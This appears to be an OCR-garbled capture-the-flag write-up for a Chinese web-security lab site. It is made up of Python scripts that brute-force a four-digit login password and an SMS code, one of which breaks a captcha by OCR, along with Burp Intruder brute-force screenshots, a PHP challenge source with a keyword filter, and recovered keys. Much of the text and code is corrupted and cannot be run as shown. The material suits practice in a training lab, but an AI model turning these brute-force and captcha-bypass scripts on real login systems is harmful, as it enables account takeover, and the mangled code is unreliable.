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<html>
<head>
{meta http—equiv="content—-type” content="text/html;charset=utf-8">
<{/head>
<body>
<{a href="./search key.php”> FiZHE#key /a>
</body>
</html>

{script>window. location=". /no_key _is_here forever.php”: {/script>
key is : yougotit_script_now
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import requests,re
s = requests.Session()

url = "http://labl.xseclab.com/xss2_0d557e6d2a4ac@8b749b61473a075bel/index.php’
html = s.get(url).content

reg = r'([0-9].+)=<"

num = eval(re.findall(reg,html)[0])
data = {'v': num}
print s.post(url, data=data).content

====================== RESTART: C:‘\Users\d\Desktop\2.py ======================
<html>
<head>
{meta http—equiv=Content-Type content="text/html;charset=utf-8">
{/head>
<{body>key iz 1231iohHKHI¥ &*(jkh </body>
<himl>
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Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

POST /vcodel_bcfefTeact Thade6laaf 18811cdble16/login. php HITP/1. 1 4 HITP/1.1 200 OK

Host: labl.xseclab. com r Server: sae

User-Agent: Mozilla/5.0 (Windows NT 6.1: WOWG1: rv:50.0) Gecko/20100101 Firefox/50.0 Comnection: keep-alive

Accept: text/html, application/xhtnl+unl, application/xnl;q=0. 9, #/#:g=0. 8 Date: Thu, 08 Mar 2017 09:55:22 GNT
Accept-Language: zh-CI, zh;q=0. 8, en-US g=0. 5, en: g=0. 3 Cache-Control: no-store
Accept-Encoding: gzip, deflate Content-Type: text/html: charset=utf-8
Referer: http://labl.xseclab. con/veodel_befefTeacfThadeflaaf 18811cdblel6/ index. php Pragna: no-cache

Cockie: PHPSESSID=0916223c9£8553aa536d87ab8b3cAE11 Via: 15117

Comnection: keep-alive %-Daa-Turnel: hop_count=1
Upgrade-Insecure-Requests: 1 Content-Length: §

Content-Type: application/z-wiw-form-urlencoded

Content-Length: 19 pwd errer
username=adninkpwd=1111&vecode=3nnttsubnit=submit|

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

POST /vcodel_befefTeactTbadcblaat18811cdblel6/login. php HITF/L. 1 4 HTIF/1.1 200 OK

Host: labl.xssclab. com r Server: sas

User-Agent: Mozilla/5.0 (Windows NT 6.1 WOWS1: rv:50.0) Gecko/20100101 Firefox/50.0 Connection: keep-alive

Accept: text/html, application/xhtml+xml, application/xml:q=0. 8, +/%:q=0. 8 Date: Thu, 09 Mar 2017 08:55:22 GMI
Accept-Language: zh-CH, zh:q=0. 8, en-US:q=0.5, en:q=0. 3 Cache-Control: no-store
Accept-Encoding: gzip, deflate Content-Type: text/html: charset=utf-8
Referer: http://labl.xseclab. com/veodel_befefTeact Thadeflaaf18811cdblcl6/index. php Pragna: no-cache

Cookie: PHPSESSID=0916223c9f85532a536d87ab8b3ch611 Via: 15117

Cornection: keep-alive I-Daa-Tunnel: hop_count=1
Upgrade-Insecure-Requests: 1 Content-Length: 9

Content-Type: application/x-ww-forn-urlencoded
Content-Length: 19

usernane=adminkpwd=hahahkvcode=3nnfésubnit=submit

@ Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tz

Payload set: [1 |vJ Payload count: 9,000

Payload type: [Numbers |V] Reguest count: 9,000

Payload Options [Numbers]

)

This payload type generates numeric payloads within a given range and in a specified format.

Mumber range

Type: ® Sequential () Random
From: 1000

To: jelelele]

Step: 1

How many:

Mumber format

Base: (® Decimal () Hex

Min integer digits:




s 4 — =]
SLE Intruder attack 5 : B’ Result 239 | Intruder attack 5 - o g
Payload: 1238 —
Aftack Save Columns
= Status: 200 | Previous |
Results | Target | Positions | Payloads | Options. 7 —
J T g T I 0 T p ] L.englh. 256 Next
] Timer: 89
= ‘ Filter: Showing all items. ——
— o Action
s
= | | Request | Payload | Status |Error | Timeout | ’Iiengll}\ v
1 |[230 1238 200 O O (256 Request R
unli|| © 200 = O o4 | Raw | Headers | Hex
8 1007 200 o d ‘|243 |‘ HITP/1.1 200 OK N
rallif| 10 1009 200 O O e | Server: sae r
14 1013 200 O ) 243 / Connection: keep-alive
Date: Thu, 09 Mar 2017 08:57:15 GMT
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) 8¢/ 48 1047 200 =] [ 243 Content-Type: text/html: charset=utf-§
— Pragma: no-cache
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Request | Response
Raw | Params T Headers | Hex
POST /vcodel_befefTeactibadclaaf18811cdblel6/login. php HITP/1.1 ~
Host: labl.xseclab.com S
) D{ |User-Agent: Mozilla/5.0 (Windows NI 6.1; WOWS!, rv:50.0) Gecke/20100101 Firefox/5! ? < + = Type a search term 0 matches
__| |Accept: text/htnl, application/zhtml+xnl, application/znl:q=0. 8, #/*:q=0. 8 ’
Accept-Language: zh—CH, zh:g=0. 8, en-US: g=0. 5, n;q=0. 3 “ -
Accept-Encodis zip, deflate
T [Pefarars htne 17Tk veanlah camfrnadel hefafTaanfThadnflaaf 18010 Adhl c1R/ Sndey nim [»
? < + > | | Type a search term 0 maiches
v » —
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POST /wcode2_a6eBbacObiTc8187h09deb20babe0e85/ login. php HITP/1. 1 & HITP/1.1 200 OK
Host: labl.xseclab.com r Server: sae
User-sgent: Mozilla/5.0 (Windows NT 6.1; WOW61; rv:50.0) Gecko/20100101 Firefox/50.0 Connection: keep-aliwve
Accept: text/html, application/xhtml+xml, application/zml:q=0.9, #/+ q=0.8 Date: Thu, 09 Mar 2017 10:01:16 GNT

Accept-Language: zh—ClN, zh:q=0. 8, en-US:q=0. 5, en:g=0. 3

Accept-Encoding: gzip, deflate

Referer: http://labl.xseclab. com/vcodeZ afefbaclblTc8187h08deb20babel
Cookie: PHPSESSID=09162a3c9£8553aa536d87ab8b3cE611

Cornection: keep-aliwve

Upgrade—Insecure-Requests: 1

Content-Type: application/z-www—form-urlencoded

Content-Length: 15

5/index. php

usernane=adminkpwd=1[l 11 veode=k submit=subnit

[7HE LR 3G IERS 55 =] (SESSIOND
HERAM

import requests

s = requests.Session()

Cache-Control: no-store

Content-Type: text/html; charset=utf-8
Pragma: no—cache

Via: 1518

I-Daa-Tunnel: hop_count=1
Content-Length: 9

pwd error

~—

url = "http://labl.xseclab.com/vcode3_9dlea7ad52ad93c04a837e0808b17097/1login.php"
{"Cookie": "PHPSESSID=09462a3c9f8553aa536d87ab8b3c6614"}

header

for pwd in range(1000,10000):

payload = {'username': 'admin', ‘'pwd':pwd ,'vcode':

"}

r s.post(url,headers=header,data=payload).content
if r.count("key"):

print r,pwd

RESTART: C:\Users\d\Desktop'l.py
kev iz LIJLJLfuckvcodesdf#@szd 1298
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<?php

header("Content-type: text/html; charset=utf-8");
if (isset($_GET['view-source'])) {
show_source(__FILE_ );

exit();

}

include('flag.php');
$smile = 1;

if (lisset ($_GET['~_~']1)) $smile = ©;

if (preg_match ('/\./', $_GET['~_""'])) $smile = 0;
if (preg_match ('/%/', $_GET['~_"~"])) $smile = 0;

if (preg_match ('/[@-9]/', $_GET['~_"'])) $smile = @;

if (preg_match ('/http/', $_GET['~_~']) ) $smile = @O;

if (preg_match ('/https/', $_GET['~_~"']) ) $smile = 0;

if (preg_match ('/ftp/', $_GET['~_~'])) $smile = 0;

if (preg_match ('/telnet/', $_GET['~_"'])) $smile = 0;

if (preg_match ('/_/', $_SERVER['QUERY_STRING'])) $smile = @;
if ($smile) {

if (@file_exists ($_GET['~_"'])) $smile = 0;

}

if ($smile) {

$smile = @file_get_contents ($_GET['~_"'1);

if ($smile === "(eo'-'e)") die($flag);

}

?>
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from pytesser import *
import requests
import os

cur_path = os.getcwd()
vcode_path = os.path.join(cur_path, 'vcode.png')
header = {'Cookie': 'PHPSESSID=896861c59678e89611bb675ff33facbl'}

def vcode():
pic_url = 'http://labl.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/vcode.php’
r = requests.get(pic_url, headers=header)
with open(vcode_path, 'wb') as pic:
pic.write(r.content)
im=Image.open('vcode.png"')
text=image_to_string(im)
v=text[0:4].replace('0','0").replace('o"','0").replace('l','1")
if len(v)==4 and v.isdigit():
return v
else:
return 0

url = "http://labl.xseclab.com/vcode7_f7947d56f22133dbc85dda4{28530268/1ogin.php"’
for i in range(100, 1000):
while 1:
code = vcode()
if code:
break
data = {'username': '13388886666', 'mobi_code': str(i), 'user_code': code}
r = requests.post(url, data=data, headers=header, timeout=10)
print 'm_vode=%s u_vcode=%s %s' %(i,code,r.content)
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